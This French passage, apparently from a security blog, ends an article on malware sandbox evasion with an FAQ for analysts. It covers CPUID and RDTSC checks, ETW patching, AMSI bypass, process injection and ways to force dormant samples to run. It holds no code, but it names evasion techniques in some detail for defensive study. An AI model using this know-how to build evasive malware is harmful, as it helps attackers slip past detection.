Cette approche s'articule naturellement avec les capacités des Agents IA pour la Cyber-Défense et le Threat Hunting, qui peuvent automatiser la corrélation des comportements d'évasion détectés à travers des centaines d'alertes. La recherche de variantes sur VirusTotal Intelligence via des hunting rules YARA complète la threat intelligence en identifiant les nouvelles souches qui implémentent les mêmes patterns d'évasion.

Pour les équipes qui sécurisent des environnements d'exécution de code non-contrôlé, les problématiques couvertes dans Sécurité des Agents IA en Production : Sandboxing présentent des analogies directes : isoler l'exécution dans des environnements contrôlés est un défi commun à la malware analysis et à la sécurisation des runtimes LLM. L'exploitation de vulnérabilités dans les moteurs d'analyse eux-mêmes rejoint les problématiques de Browser Exploitation Moderne : V8 Sandbox Escape — une sandbox n'est sécurisée qu'autant que son propre code d'analyse l'est.

Questions fréquentes

Quelle est la différence entre un CPUID check et une RDTSC timing attack ?

CPUID est un check statique et binaire : soit le bit 31 de ECX est à 1 (hyperviseur détecté), soit à 0 (machine physique ou hyperviseur masqué). RDTSC est un check dynamique qui mesure le temps d'exécution en cycles CPU — il détecte non seulement les VM mais aussi toute instrumentation qui ralentit l'exécution (hooks d'API, débogueur, émulation QEMU). Un malware sophistiqué combine les deux : CPUID pour la détection rapide, RDTSC pour confirmer l'absence d'instrumentation même sur une VM correctement configurée pour masquer son hyperviseur.

Est-ce que l'ETW patching fonctionne encore contre les EDR modernes en 2026 ?

Le patch userland d'EtwEventWrite reste efficace contre les EDR qui s'appuient uniquement sur les events ETW en espace utilisateur. Mais les solutions modernes utilisent des providers ETW kernel (Microsoft-Windows-Threat-Intelligence) non patchables depuis le userland, ainsi que VBS/HVCI pour protéger l'intégrité du code. Sur Windows 11 avec HVCI activé et un EDR de nouvelle génération, le patch ETW userland n'aveugle qu'une partie de la télémétrie et est lui-même détecté comme comportement suspect via les callbacks noyau de l'EDR.

Comment forcer l'exécution d'un malware qui refuse de s'activer en sandbox automatisée ?

L'approche par couches donne les meilleurs résultats : d'abord soumettre sur ANY.RUN en mode interactif (neutralise les user interaction checks), puis sur une sandbox bare-metal sur hardware physique (neutralise CPUID/RDTSC). Si l'échantillon reste dormant, analyser statiquement avec Ghidra pour localiser les fonctions de détection, identifier les branches conditionnelles correspondantes, et créer un patch binaire qui force le chemin d'exécution "environnement légitime". En dernier recours, l'émulation de syscalls individuels dans un debugger permet de patcher les retours des fonctions d'évasion à la volée.

Les YARA rules sont-elles suffisantes pour détecter les malwares évasifs ?

Non — les rules couvrent les techniques connues sous leur forme non-obfusquée. Un malware qui hash ses strings (FNV-1a, CRC32), chiffre ses imports, ou utilise de la résolution dynamique d'API via hashes échappe entièrement à l'analyse statique YARA. Les rules doivent être complétées par une analyse comportementale dynamique en sandbox, une analyse mémoire post-exécution avec Volatility, et des règles de hunting sur l'enchaînement d'appels API (séquences comportementales) plutôt que sur les strings statiques. VirusTotal Intelligence permet de croiser efficacement les deux approches.

Quelles techniques d'évasion dominent les campagnes ransomware en 2026 ?

D'après les analyses publiées sur ANY.RUN et les rapports ANSSI, les ransomwares modernes combinent systématiquement : process injection (process hollowing ou module stomping) pour masquer le payload en mémoire, AMSI bypass pour protéger les loaders PowerShell des stagers, parent process spoofing pour contourner les règles de détection basées sur l'arbre parent-enfant, et sleep evasion via direct syscall NtDelayExecution pour échapper à la compression temporelle des sandbox. Les checks CPUID sont généralement réservés aux phases de reconnaissance initiale — les ransomwares ciblant des infrastructures Active Directory opèrent souvent sur des serveurs virtualisés légitimes et adaptent leur logique d'évasion VM en conséquence.